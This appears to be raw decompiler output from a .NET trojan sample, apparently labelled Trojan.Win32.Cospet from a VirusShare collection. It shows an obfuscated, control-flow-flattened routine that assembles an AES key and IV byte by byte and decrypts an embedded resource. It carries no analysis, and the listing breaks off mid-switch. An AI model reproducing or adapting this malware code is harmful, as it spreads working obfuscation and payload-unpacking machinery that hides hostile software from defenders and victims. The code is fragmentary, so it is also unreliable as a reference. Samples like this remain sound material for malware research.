// Decompiled with JetBrains decompiler // Type: lIMo5cXu7QVSJ7hdyJ.tcJNIpeNWph4hwAAuQ // Assembly: Service, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 7876418B-9B45-4205-B20B-41AA64972C85 // Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Cospet.iat-d5a913ab25c2ac01f6ad36151285d226598951b3a4f0b2d52c03e99ff09f0807.exe using System; using System.Collections; using System.Collections.Generic; using System.IO; using System.Reflection; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; using TmwCXiWu118CwLLcBx; namespace lIMo5cXu7QVSJ7hdyJ { internal class tcJNIpeNWph4hwAAuQ { private static byte[] aBkr8wvyT = new byte[0]; private static byte[] \u003866Dc7PUe = new byte[0]; private static byte[] GL3ceA32Y = new byte[0]; private static byte[] snHmt3QZL = new byte[0]; private static IntPtr LZQJNUOtZ = IntPtr.Zero; private static IntPtr M6stOwyKv = IntPtr.Zero; private static object wAojqBjsI = (object) new string[0]; private static int[] sxZo6URQI = new int[0]; private static int sXYWo6h6h = 1; private static bool yg15Kw0wX = false; private static SortedList YYUXtNinR = new SortedList(); private static int \u0034hNMmVipp = 0; private static long Kbgfvy7M9 = 0; internal static tcJNIpeNWph4hwAAuQ.TIjMQaw2VtqJb1Fdv1 EOOKYeVaQ = (tcJNIpeNWph4hwAAuQ.TIjMQaw2VtqJb1Fdv1) null; internal static tcJNIpeNWph4hwAAuQ.TIjMQaw2VtqJb1Fdv1 Qsu0lHnQX = (tcJNIpeNWph4hwAAuQ.TIjMQaw2VtqJb1Fdv1) null; private static long wNW2UVxDF = 0; private static int k67yLpDfA = 0; private static bool pUgQnroTf = false; private static int kGQnGYktJ = 0; private static IntPtr DZ2uUjj1m = IntPtr.Zero; internal static Dictionary \u0033JU6aGYaZ = new Dictionary(); [MethodImpl(MethodImplOptions.NoInlining)] static tcJNIpeNWph4hwAAuQ() { } [MethodImpl(MethodImplOptions.NoInlining)] private void WaHJcrKmDbTxI() { } [tcJNIpeNWph4hwAAuQ.BfvlDRFE57x0KNgMOl(typeof (tcJNIpeNWph4hwAAuQ\u002FBfvlDRFE57x0KNgMOl\u002F5JAHjnIB6CPlXvOV00[]))] [MethodImpl(MethodImplOptions.NoInlining)] static string Uj1VGPQhn([In] int obj0) { int num1 = 315; int num2; while (true) { byte[] numArray1; int num3; byte[] numArray2; int num4; int num5; BinaryReader binaryReader; byte[] numArray3; byte[] numArray4; CryptoStream cryptoStream; MemoryStream memoryStream; RijndaelManaged rijndaelManaged; byte[] numArray5; byte[] numArray6; ICryptoTransform transform; int num6; switch (num1) { case 0: num4 = 246 - 82; num1 = 349; continue; case 1: numArray2[15] = (byte) num4; num5 = 22; goto label_342; case 2: numArray1[2] = (byte) num3; num5 = 77; goto label_342; case 3: num4 = 177 - 64; num1 = 32; continue; case 4: num4 = 196 - 65; num1 = 79; continue; case 5: numArray2[0] = (byte) num4; num5 = 211; goto label_342; case 6: numArray2[6] = (byte) (122 - 3); num6 = 303; break; case 7: num4 = 101 + 16; num1 = 219; continue; case 8: num4 = 173 - 116; num6 = 68; break; case 9: if (numArray4 != null) { num5 = 16; if (true) goto label_342; else goto case 52; } else goto case 286; case 10: numArray2[9] = (byte) num4; num6 = 100; break; case 11: num4 = 171 - 57; num5 = 307; if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto case 307; else goto label_342; case 12: numArray2[22] = (byte) (24 + 56); num5 = 295; if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto label_342; else goto case 24; case 13: numArray2[3] = (byte) (72 + 39); num1 = 234; continue; case 14: numArray2[2] = (byte) (150 - 50); num5 = 332; if (true) goto label_342; else goto case 114; case 15: num4 = 87 + 95; num5 = 330; if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto label_342; else goto case 229; case 16: if (numArray4.Length > 0) { num5 = 122; if (true) goto label_342; else goto case 182; } else goto case 286; case 17: numArray2[0] = (byte) num4; num5 = 167; if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto case 316; else goto label_342; case 18: numArray2[20] = (byte) (139 + 30); num1 = 318; continue; case 19: numArray2[23] = (byte) (214 - 71); num6 = 331; break; case 20: numArray2[29] = (byte) (161 - 53); num6 = 324; break; case 21: num4 = 228 - 76; num5 = 204; if (true) goto label_342; else goto case 300; case 22: num4 = 73 + 91; num5 = 333; if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto label_342; else goto case 48; case 23: numArray2[5] = (byte) (81 + 87); num5 = 319; if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto case 157; else goto label_342; case 24: numArray2[11] = (byte) num4; num5 = 223; if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto label_342; else goto case 115; case 25: numArray2[18] = (byte) num4; num1 = 143; continue; case 26: numArray2[30] = (byte) (123 + 55); num5 = 235; if (true) goto label_342; else goto case 70; case 27: numArray1[2] = (byte) num3; num1 = 312; continue; case 28: numArray1[6] = (byte) num3; num5 = 170; goto label_342; case 29: num4 = 101 - 86; num5 = 117; if (true) goto label_342; else goto case 236; case 30: num3 = 182 - 60; num1 = 46; continue; case 31: numArray2[16] = (byte) (175 - 58); num6 = 238; break; case 32: numArray2[4] = (byte) num4; num6 = 150; break; case 33: numArray1[13] = (byte) (70 + 89); num5 = 231; if (true) goto label_342; else goto case 322; case 34: numArray1[15] = (byte) (168 - 56); num6 = 221; break; case 35: numArray2[29] = (byte) num4; num5 = 21; goto label_342; case 36: num4 = 162 - 54; num1 = 154; continue; case 37: numArray2[27] = (byte) (21 + 95); num1 = 236; continue; case 38: numArray2[19] = (byte) (253 - 84); num5 = 67; if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto case 313; else goto label_342; case 39: num4 = 191 - 63; num6 = 70; break; case 40: numArray2[30] = (byte) num4; num5 = 26; if (true) goto label_342; else goto case 69; case 41: numArray2[9] = (byte) (163 - 54); num6 = 207; break; case 42: numArray1[1] = (byte) num3; num5 = 65; if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto case 318; else goto label_342; case 43: numArray1[3] = (byte) (78 + 123); num5 = 112; if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto label_342; else goto case 45; case 44: numArray2[19] = (byte) (5 + 123); num6 = 38; break; case 45: tcJNIpeNWph4hwAAuQ.BBLMx5yH9F58Ej6cea((object) rijndaelManaged, CipherMode.CBC); num5 = 98; goto label_342; case 46: numArray1[14] = (byte) num3; num6 = 310; break; case 47: numArray2[7] = (byte) num4; num5 = 124; if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto label_342; else goto case 338; case 48: num3 = 42 + 119; num1 = 306; continue; case 49: numArray2[0] = (byte) num4; num1 = 335; continue; case 50: num3 = 104 + 38; num6 = 135; break; case 51: num3 = 172 + 10; num5 = 206; if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto case 45; else goto label_342; case 52: num4 = 58 + 104; num6 = 140; break; case 53: numArray2[22] = (byte) (233 - 77); num5 = 12; if (true) goto label_342; else goto case 155; case 54: numArray2[30] = (byte) (131 + 35); num1 = 55; continue; case 55: numArray2[31] = (byte) (226 - 75); num6 = 52; break; case 56: numArray2[27] = (byte) ((int) sbyte.MaxValue + 40); num5 = 101; goto label_342; case 57: num3 = 230 - 76; num5 = 302; if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto case 292; else goto label_342; case 58: num4 = 212 - 70; num5 = 90; if (true) goto label_342; else goto case 261; case 59: num4 = 29 + 98; num6 = 10; break; case 60: numArray1[4] = (byte) num3; num6 = 275; break; case 61: numArray1[1] = (byte) (221 - 73); num6 = 75; break; case 62: numArray5[3] = numArray4[1]; num1 = 161; continue; case 63: num4 = 97 + 95; num6 = 138; break; case 64: num4 = 172 - 57; num6 = 337; break; case 65: num3 = 208 - 69; num1 = 115; continue; case 66: num4 = 134 - 44; num5 = 181; if (true) goto label_342; else goto case 136; case 67: num4 = 45 + 117; num5 = 326; if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto label_342; else goto case 218; case 68: numArray2[23] = (byte) num4; num1 = 209; continue; case 69: numArray2[2] = (byte) (18 + 58); num1 = 14; continue; case 70: numArray2[18] = (byte) num4; num5 = 226; if (true) goto label_342; else goto case 189; case 71: numArray2[16] = (byte) (208 - 69); num6 = 131; break; case 72: num3 = 179 - 59; num6 = 60; break; case 73: numArray1[4] = (byte) num3; num1 = 157; continue; case 74: num3 = 83 + 62; num5 = 325; goto label_342; case 75: num3 = 108 + 107; num5 = 159; goto label_342; case 76: num3 = 25 + 107; num1 = 265; continue; case 77: num3 = 46 + 3; num5 = 27; if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto case 54; else goto label_342; case 78: numArray2[18] = (byte) num4; num1 = 39; continue; case 79: numArray2[17] = (byte) num4; num1 = 188; continue; case 80: numArray1 = new byte[16]; num5 = 136; goto label_342; case 81: num4 = 98 + 103; num6 = 248; break; case 82: numArray1[8] = (byte) (194 - 64); num5 = 278; goto label_342; case 83: num4 = 190 - 63; num5 = 25; if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto case 25; else goto label_342; case 84: numArray2[20] = (byte) num4; num1 = 18; continue; case 85: cryptoStream = new CryptoStream((Stream) memoryStream, transform, CryptoStreamMode.Write); num5 = 182; goto label_342; case 86: numArray2[17] = (byte) num4; num5 = 94; goto label_342; case 87: numArray2[13] = (byte) (97 - 18); num5 = 284; if (true) goto label_342; else goto case 120; case 88: num3 = 32 + 8; num6 = 334; break; case 89: num4 = 61 + 117; num1 = 213; continue; case 90: numArray2[6] = (byte) num4; num1 = 6; continue; case 91: numArray2[3] = (byte) (54 + 56); num6 = 13; break; case 92: numArray2[1] = (byte) num4; num1 = 69; continue; case 93: numArray2[9] = (byte) num4; num6 = 243; break; case 94: num4 = 247 - 82; num5 = 270; if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto case 54; else goto label_342; case 95: numArray2[20] = (byte) (107 + 105); num6 = 163; break; case 96: numArray1[10] = (byte) (140 - 46); num1 = 263; continue; case 97: numArray2[14] = (byte) (30 + 124); num5 = 347; if (true) goto label_342; else goto case 225; case 98: transform = (ICryptoTransform) tcJNIpeNWph4hwAAuQ.iiKPN0bEEIKMuOuMi3((object) rijndaelManaged, (object) numArray6, (object) numArray5); num6 = 254; break; case 99: num4 = 204 - 68; num5 = 1; if (true) goto label_342; else goto case 237; case 100: numArray2[9] = (byte) (55 + 121); num1 = 41; continue; case 101: num4 = 166 - 55; num6 = 197; break; case 102: tcJNIpeNWph4hwAAuQ.m780xdZcMXPdcdM8wI((object) cryptoStream); num1 = 147; continue; case 103: numArray2[3] = (byte) num4; num6 = 328; break; case 104: num4 = 194 - 64; num1 = 84; continue; case 105: numArray2[22] = (byte) (204 + 8); num1 = 19; continue; case 106: numArray2[25] = (byte) num4; num5 = 252; goto label_342; case 107: num4 = 236 - 78; num6 = 314; break; case 108: numArray1[15] = (byte) num3; num6 = 308; break; case 109: numArray2[0] = (byte) ((int) sbyte.MaxValue - 42); num5 = 169; if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto label_342; else goto case 284; case 110: numArray2[16] = (byte) (186 + 48); num5 = 4; goto label_342; case 111: numArray1[13] = (byte) (248 - 82); num6 = 33; break; case 112: numArray1[3] = (byte) (62 + 2); num1 = 215; continue; case 113: numArray2[4] = (byte) num4; num5 = 3; if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto label_342; else goto case 110; case 114: numArray2[1] = (byte) (88 + 15); num1 = 172; continue; case 115: numArray1[1] = (byte) num3; num6 = 74; break; case 116: numArray2[26] = (byte) (161 - 53); num1 = 175; continue; case 117: numArray2[12] = (byte) num4; num6 = 66; break; case 118: numArray2[7] = (byte) num4; num6 = 7; break; case 119: num3 = 80 - 32; num1 = 73; continue; case 120: numArray2[25] = (byte) (67 + 124); num1 = 346; continue; case 121: numArray1[5] = (byte) (209 + 23); num5 = 288; if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto label_342; else goto case 74; case 122: numArray5[1] = numArray4[0]; num6 = 62; break; case 123: numArray1[12] = (byte) (39 + 110); num5 = 111; goto label_342; case 124: numArray2[7] = (byte) (247 - 82); num6 = 342; break; case 125: numArray2[8] = (byte) (102 - 45); num5 = 59; if (true) goto label_342; else goto case 179; case 126: // ISSUE: type reference binaryReader = new BinaryReader((Stream) tcJNIpeNWph4hwAAuQ.UqbOGpq63TyLlUGXJW((object) tcJNIpeNWph4hwAAuQ.AcfijO9t4mjClQ6fva(__typeref (tcJNIpeNWph4hwAAuQ)).Assembly, (object) "61be7a78-12b9-44c2-bb22-b83cd81fb424")); num5 = 313; if (true) goto label_342; else goto case 220; case (int) sbyte.MaxValue: num4 = 183 + 52; num6 = 24; break; case 128: num2 = tcJNIpeNWph4hwAAuQ.DVb3smulRceQ8RTb96((object) tcJNIpeNWph4hwAAuQ.GL3ceA32Y, obj0); num6 = 351; break; case 129: numArray2[21] = (byte) (178 - 59); num1 = 287; continue; case 130: numArray1[14] = (byte) num3; num6 = 202; break; case 131: num4 = 16 + 101; num5 = 250; goto label_342; case 132: numArray1[7] = (byte) (240 - 80); num1 = 247; continue; case 133: numArray2[27] = (byte) num4; num5 = 348; if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto label_342; else goto case 35; case 134: numArray2[8] = (byte) (33 + 51); num5 = 195; if (true) goto label_342; else goto case 241; case 135: numArray1[14] = (byte) num3; num1 = 298; continue; case 136: num3 = (int) sbyte.MaxValue - 42; num5 = 217; if (true) goto label_342; else goto case 207; case 137: num4 = 87 + 85; num5 = 279; if (true) goto label_342; else goto case 0; case 138: numArray2[30] = (byte) num4; num5 = 297; if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto case 301; else goto label_342; case 139: numArray1[6] = (byte) (53 + 29); num5 = 340; if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto label_342; else goto case 331; case 140: numArray2[31] = (byte) num4; num6 = 160; break; case 141: num3 = 155 + 94; num5 = 233; goto label_342; case 142: numArray2[2] = (byte) (134 - 44); num1 = 89; continue; case 143: numArray2[18] = (byte) (219 - 73); num1 = 256; continue; case 144: num4 = 218 - 72; num5 = 47; if (true) goto label_342; else goto case 140; case 145: numArray2[25] = (byte) num4; num1 = 205; continue; case 146: numArray1[2] = (byte) num3; num6 = 43; break; case 147: tcJNIpeNWph4hwAAuQ.GL3ceA32Y = (byte[]) tcJNIpeNWph4hwAAuQ.YclNYYegYZPuMd3xpB((object) memoryStream); num1 = 180; continue; case 148: numArray1[0] = (byte) (97 + 72); num1 = 253; continue; case 149: numArray2 = new byte[32]; num1 = 109; continue; case 150: numArray2[5] = (byte) (175 - 58); num1 = 214; continue; case 151: numArray1[10] = (byte) (19 + 53); num1 = 193; continue; case 152: num4 = 141 - 124; num6 = 251; break; case 153: num4 = 208 - 69; num6 = 86; break; case 154: numArray2[28] = (byte) num4; num1 = 107; continue; case 155: num4 = 86 + 51; num1 = 162; continue; case 156: num4 = 41 + 38; num5 = 49; if (true) goto label_342; else goto case 234; case 157: num3 = 134 - 44; num1 = 259; continue; case 158: num4 = 62 + 34; num5 = 272; if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto case 317; else goto label_342; case 159: numArray1[1] = (byte) num3; num5 = 285; if (true) goto label_342; else goto case 13; case 160: num4 = 138 - 121; num5 = 269; goto label_342; case 161: numArray5[5] = numArray4[2]; num5 = 260; if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto case 8; else goto label_342; case 162: numArray2[8] = (byte) num4; num6 = 125; break; case 163: numArray2[20] = (byte) (144 - 48); num6 = 104; break; case 164: numArray2[8] = (byte) num4; num1 = 305; continue; case 165: numArray2[1] = (byte) num4; num5 = 179; if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto case 336; else goto label_342; case 166: tcJNIpeNWph4hwAAuQ.kV3G5bdMkFMPo7RgZa((object) cryptoStream); num1 = 230; continue; case 167: num4 = 165 + 66; num1 = 5; continue; case 168: numArray2[26] = (byte) num4; num6 = 343; break; case 169: numArray2[0] = (byte) (236 - 78); num5 = 156; goto label_342; case 170: num3 = 101 - 87; num5 = 282; goto label_342; case 171: numArray1[13] = (byte) (178 - 100); num1 = 30; continue; case 172: num4 = 238 + 5; num1 = 92; continue; case 173: numArray1[10] = (byte) num3; num1 = 96; continue; case 174: numArray5[11] = numArray4[5]; num5 = 277; if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto case 347; else goto label_342; case 175: num4 = 44 + 86; num1 = 168; continue; case 176: numArray2[0] = (byte) num4; num1 = 228; continue; case 177: num4 = 75 + 75; num6 = 118; break; case 178: num4 = 110 - 5; num5 = 294; if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto label_342; else goto case 121; case 179: numArray2[1] = (byte) (247 - 82); num5 = 227; goto label_342; case 180: tcJNIpeNWph4hwAAuQ.kV3G5bdMkFMPo7RgZa((object) memoryStream); num6 = 166; break; case 181: numArray2[13] = (byte) num4; num1 = 158; continue; case 182: tcJNIpeNWph4hwAAuQ.d7sHfO4N5DOZeigibM((object) cryptoStream, (object) numArray3, 0, numArray3.Length); num5 = 102; if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto case 110; else goto label_342; case 183: // ISSUE: type reference numArray4 = (byte[]) tcJNIpeNWph4hwAAuQ.YBvqUig9DLUjnWySsQ(tcJNIpeNWph4hwAAuQ.YcrGL4NUCmnjFJYNgC((object) tcJNIpeNWph4hwAAuQ.AcfijO9t4mjClQ6fva(__typeref (tcJNIpeNWph4hwAAuQ)).Assembly)); num6 = 9; break; case 184: numArray2[17] = (byte) (53 + 22); num5 = 152; if (true) goto label_342; else goto case 257; case 185: numArray1[15] = (byte) num3; num1 = 34; continue; case 186: numArray6 = numArray2; num6 = 80; break; case 187: numArray1[8] = (byte) num3; num5 = 57; goto label_342; case 188: numArray2[17] = (byte) (3 + 88); num5 = 153; if (true) goto label_342; else goto case 205; case 189: numArray2[16] = (byte) num4; num1 = 71; continue; case 190: numArray1[14] = (byte) num3; num6 = 50; break; case 191: numArray3 = (byte[]) tcJNIpeNWph4hwAAuQ.VaIBMZrM3OhKoOEnVs((object) binaryReader, (int) tcJNIpeNWph4hwAAuQ.ADhgXga9MB5V1Hqp3w(tcJNIpeNWph4hwAAuQ.nVE2fSvqA5eakI1h2r((object) binaryReader))); num5 = 149; goto label_342; case 192: numArray1[10] = (byte) num3; num6 = 311; break; case 193: num3 = 226 - 75; num5 = 339; goto label_342; case 194: numArray1[1] = (byte) num3; num5 = 48; if (true) goto label_342; else goto case 34; case 195: numArray2[8] = (byte) (9 + 50); num6 = 329; break; case 196: num4 = 246 - 82; num6 = 239; break; case 197: numArray2[28] = (byte) num4; num1 = 321; continue; case 198: numArray2[12] = (byte) num4; num5 = 271; if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto case 192; else goto label_342; case 199: numArray2[4] = (byte) num4; num5 = 299; if (true) goto label_342; else goto case 295; case 200: numArray2[23] = (byte) (139 - 46); num6 = 8; break; case 201: num3 = 54 + 69; if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) { num1 = 323; continue; } num6 = 304; break; case 202: num3 = 204 - 68; num6 = 190; break; case 203: numArray2[19] = (byte) (96 + 76); num6 = 220; break; case 204: numArray2[30] = (byte) num4; num6 = 63; break; case 205: num4 = 107 + 72; num5 = 106; goto label_342; case 206: numArray1[9] = (byte) num3; num5 = 151; if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto case 156; else goto label_342; case 207: num4 = 137 - 45; num1 = 93; continue; case 208: numArray2[10] = (byte) num4; num1 = 64; continue; case 209: numArray2[24] = (byte) (152 - 50); num5 = 322; goto label_342; case 210: num3 = 100 + 77; num1 = 173; continue; case 211: num4 = 82 + 81; num6 = 165; break; case 212: num4 = 73 + 111; num5 = 103; if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto case 193; else goto label_342; case 213: numArray2[2] = (byte) num4; num6 = 91; break; case 214: numArray2[5] = (byte) (25 + 79); num6 = 23; break; case 215: numArray1[3] = (byte) (49 + 89); num5 = 336; goto label_342; case 216: numArray2[2] = (byte) num4; num1 = 142; continue; case 217: numArray1[0] = (byte) num3; num1 = 350; continue; case 218: numArray2[28] = (byte) num4; num6 = 36; break; case 219: numArray2[7] = (byte) num4; num5 = 144; goto label_342; case 220: numArray2[20] = (byte) (172 - 57); num6 = 196; break; case 221: num3 = 54 - 40; num5 = 108; if (true) goto label_342; else goto case 332; case 222: numArray2[29] = (byte) (74 + 45); num5 = 20; if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto case 57; else goto label_342; case 223: num4 = 187 - 62; num6 = 198; break; case 224: numArray2[7] = (byte) num4; num5 = 134; if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto case 241; else goto label_342; case 225: numArray1[10] = (byte) num3; goto case 300; case 226: num4 = 56 - 16; num6 = 344; break; case 227: num4 = 10 + 37; num1 = 338; continue; case 228: num4 = 86 + 122; num5 = 17; goto label_342; case 229: numArray2[29] = (byte) (147 - 49); num5 = 222; if (true) goto label_342; else goto case 303; case 230: tcJNIpeNWph4hwAAuQ.waXoBs6rVMnfUtwTXQ((object) binaryReader); num6 = 128; break; case 231: numArray1[13] = (byte) (74 + 88); num6 = 171; break; case 232: numArray2[27] = (byte) num4; num6 = 37; break; case 233: numArray1[11] = (byte) num3; num1 = 264; continue; case 234: numArray2[3] = (byte) (29 + 46); num6 = 15; break; case 235: numArray2[30] = (byte) (35 + 83); num5 = 54; if (true) goto label_342; else goto case 156; case 236: num4 = 44 + 58; num5 = 133; if (true) goto label_342; else goto case 85; case 237: numArray1[7] = (byte) (151 + 26); num1 = 249; continue; case 238: num4 = 60 + 85; num6 = 189; break; case 239: numArray2[20] = (byte) num4; num5 = 95; goto label_342; case 240: num4 = 43 + 94; num5 = 257; if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto case 98; else goto label_342; case 241: num3 = 22 + 108; num6 = 2; break; case 242: num4 = 19 + 25; num1 = 345; continue; case 243: numArray2[9] = (byte) (39 - 18); num6 = 274; break; case 244: numArray1[4] = (byte) num3; num5 = 119; goto label_342; case 245: num3 = 125 - 41; num6 = 244; break; case 246: numArray1[0] = (byte) num3; num1 = 148; continue; case 247: num3 = 58 + 58; num1 = 293; continue; case 248: numArray2[10] = (byte) num4; num1 = 309; continue; case 249: numArray1[8] = (byte) (4 + 37); num5 = 281; if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto case 19; else goto label_342; case 250: numArray2[16] = (byte) num4; num1 = 110; continue; case 251: numArray2[17] = (byte) num4; num5 = 83; if (true) goto label_342; else goto case 158; case 252: num4 = 227 - 75; num5 = 341; if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto label_342; else goto case 104; case 253: num3 = 90 + 86; num5 = 42; if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto label_342; else goto case 287; case 254: memoryStream = new MemoryStream(); num1 = 85; continue; case (int) byte.MaxValue: numArray2[15] = (byte) (146 - 48); num1 = 99; continue; case 256: num4 = 8 + 104; num5 = 78; if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto case 167; else goto label_342; case 257: numArray2[15] = (byte) num4; num5 = (int) byte.MaxValue; if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto label_342; else goto case 78; case 258: numArray5[15] = numArray4[7]; num5 = 286; goto label_342; case 259: numArray1[5] = (byte) num3; num5 = 273; if (true) goto label_342; else goto case 94; case 260: numArray5[7] = numArray4[3]; num5 = 292; if (true) goto label_342; else goto case 62; case 261: numArray2[14] = (byte) num4; num5 = 0; goto label_342; case 262: num4 = 194 + 28; num1 = 35; continue; case 263: num3 = 87 + 49; num6 = 192; break; case 264: numArray1[12] = (byte) (66 + 63); num5 = 283; goto label_342; case 265: numArray1[2] = (byte) num3; num1 = 241; continue; case 266: numArray2[15] = (byte) num4; num5 = 31; goto label_342; case 267: numArray2[8] = (byte) num4; num1 = 155; continue; case 268: numArray2[26] = (byte) (50 + 37); num5 = 116; goto label_342; case 269: numArray2[31] = (byte) num4; num5 = 186; if (true) goto label_342; else goto case 194; case 270: numArray2[17] = (byte) num4; num6 = 184; break; case 271: num4 = 245 - 81; num5 = 289; if (true) goto label_342; else goto case 272; case 272: numArray2[13] = (byte) num4; num5 = 87; if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto case 179; else goto label_342; case 273: numArray1[5] = (byte) (191 - 63); num5 = 121; if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto case 27; else goto label_342; case 274: num4 = 135 - 45; num5 = 208; if (true) goto label_342; else goto case 130; case 275: numArray1[4] = (byte) (97 + 48); num5 = 245; goto label_342; case 276: num4 = 66 + 122; num5 = 291; goto label_342; case 277: numArray5[13] = numArray4[6]; num1 = 258; continue; case 278: num3 = 33 - 13; num1 = 187; continue; case 279: numArray2[28] = (byte) num4; num1 = 229; continue; case 280: case 304: numArray1[8] = (byte) num3; num1 = 82; continue; case 281: numArray1[8] = (byte) (16 + 5); num1 = 201; continue; case 282: numArray1[6] = (byte) num3; num5 = 132; goto label_342; case 283: numArray1[12] = (byte) (28 + 61); num5 = 123; goto label_342; case 284: num4 = 185 - 61; num6 = 261; break; case 285: num3 = 102 - 72; num1 = 194; continue; case 286: rijndaelManaged = new RijndaelManaged(); num6 = 45; break; case 287: numArray2[21] = (byte) (60 + 73); num5 = 53; if (true) goto label_342; else goto case 28; case 288: numArray1[6] = (byte) (228 - 76); num6 = 139; break; case 289: numArray2[12] = (byte) num4; num5 = 11; if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto label_342; else goto case 168; case 290: num3 = 84 + 38; num5 = 246; if (true) goto label_342; else goto case 32; case 291: numArray2[11] = (byte) num4; num5 = (int) sbyte.MaxValue; if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto label_342; else goto case 135; case 292: numArray5[9] = numArray4[4]; num6 = 174; break; case 293: numArray1[7] = (byte) num3; num6 = 237; break; case 294: numArray2[24] = (byte) num4; num6 = 120; break; case 295: numArray2[22] = (byte) (5 + 11); num1 = 105; continue; case 296: numArray1[9] = (byte) num3; num6 = 51; break; case 297: num4 = 163 - 54; num5 = 40; if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto label_342; else goto case 223; case 298: num3 = 174 - 58; num5 = 185; if (true) goto label_342; else goto case 118; case 299: num4 = 115 + 72; num6 = 113; break; case 300: case 323: numArray1[11] = (byte) (145 - 48); num6 = 316; break; case 301: num3 = 208 - 69; num5 = 296; goto label_342; case 302: numArray1[9] = (byte) num3; num6 = 301; break; case 303: numArray2[7] = (byte) (102 + 76); num5 = 177; goto label_342; case 305: num4 = 81 + 82; num1 = 267; continue; case 306: numArray1[2] = (byte) num3; num5 = 88; if (true) goto label_342; else goto case 55; case 307: numArray2[12] = (byte) num4; num6 = 29; break; case 308: numArray5 = numArray1; num1 = 183; continue; case 309: numArray2[11] = (byte) (120 + 40); num1 = 276; continue; case 310: numArray1[14] = (byte) (16 + 55); num6 = 320; break; case 311: num3 = 80 - 16; num5 = 225; goto label_342; case 312: num3 = 115 + 74; num6 = 146; break; case 313: tcJNIpeNWph4hwAAuQ.yR4MXxUE0wNxKWF1D2(tcJNIpeNWph4hwAAuQ.nVE2fSvqA5eakI1h2r((object) binaryReader), 0L); num5 = 327; goto label_342; case 314: numArray2[28] = (byte) num4; num5 = 137; if (tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto case 275; else goto label_342; case 315: if (tcJNIpeNWph4hwAAuQ.GL3ceA32Y.Length == 0) { num5 = 126; goto label_342; } else goto case 128; case 316: numArray1[11] = (byte) (116 + 40); num6 = 141; break; case 317: num4 = 134 + 108; num6 = 266; break; case 318: numArray2[21] = (byte) (55 + 99); num5 = 129; if (true) goto label_342; else goto case 277; case 319: numArray2[6] = (byte) (120 + 111); num1 = 58; continue; case 320: num3 = 49 + 19; num5 = 130; if (tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto label_342; else goto case (int) sbyte.MaxValue; case 321: num4 = 216 - 72; num5 = 218; if (!tcJNIpeNWph4hwAAuQ.oaykchBDbAeGIqjTk1()) goto label_342; else goto case 224; case 322: numArray2[24] = (byte) (236 - 78); num1 = 178; continue; case 324: numArray2[29] = (byte) (149 - 49); num5 = 262; if (!tcJNIpeNWph4hwAAuQ.Fytij3VHrfVxpKCDDL()) goto case 330; else goto label_342; case 325: numArray1[1] = (byte) num3; num5 = 61; if (true) goto label_342; else goto case 7; case 326: numArray2[19] = (byte) num4; num5 = 203; if (true) goto label_342; else goto case 269; case 327: 